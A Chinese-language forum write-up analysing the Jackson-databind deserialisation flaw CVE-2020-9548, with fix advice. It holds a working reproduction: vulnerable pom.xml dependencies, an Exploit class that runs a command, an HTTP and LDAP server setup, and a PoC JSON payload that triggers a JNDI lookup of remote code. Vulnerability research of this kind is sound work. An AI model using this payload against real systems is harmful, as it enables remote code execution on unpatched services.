Jackson-databind RCE漏洞(CVE-2020-9548)分析及利用

影响范围

  • Jackson-databind 在 2.9.10.4 版本之前存在漏洞。
  • Jackson-databind 在 2.8.11.6 版本之前存在漏洞。
  • Jackson-databind 在 2.7.9.7 版本之前存在漏洞。

漏洞类型

JDNI注入导致RCE(远程代码执行)。

图片[1]-Jackson-databind RCE漏洞(CVE-2020-9548)分析及利用-山海云端论坛

利用条件

  • 开启 enableDefaultTyping() 方法。
  • 使用了 br.com.anteros.dbcp.AnterosDBCPConfig 第三方依赖。

漏洞概述

在2020年3月,Jackson-databind更新了一个新的反序列化利用类 br.com.anteros.dbcp.AnterosDBCPConfig,绕过了之前Jackson-databind维护的黑名单类。如果目标系统JDK版本较低,该漏洞可导致远程代码执行(RCE)。

漏洞复现

环境搭建

你需要在 pom.xml 文件中添加以下依赖:

<code><dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9.1</version> </dependency> <dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0.1</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies></code>

漏洞利用

你可以使用LDAP或RMI进行漏洞利用。在这里,我们以LDAP为例,使用的JDK版本为 JDK 11.0.1、8u191、7u201、6u211之前。在演示中,我们采用了 JDK 1.8.0_181。

编译Exploit.java

<code>import java.lang.Runtime; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }</code>

搭建HTTP服务

使用Python搭建简易SimpleHTTPServer服务:

<code>python -m SimpleHTTPServer 4444</code>
图片[2]-Jackson-databind RCE漏洞(CVE-2020-9548)分析及利用-山海云端论坛

搭建LDAP服务

使用marshalsec来启动一个LDAP服务。

图片[3]-Jackson-databind RCE漏洞(CVE-2020-9548)分析及利用-山海云端论坛

执行漏洞POC

编写漏洞POC,示例代码如下:

<code>package com.jacksonTest; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]"; try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }</code>

漏洞分析

br.com.anteros.dbcp.AnterosDBCPConfig 类中,发现了可疑的JNDI注入点。由于参数来自object,因此可通过 getObjectOrPerformJndiLookup 函数调用实现JNDI注入,从而导致RCE。

修复建议

  • 及时升级Jackson-databind到安全版本。
  • 升级到较高版本的JDK。

参考链接

https://github.com/FasterXML/jackson-databind/issues/2634

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容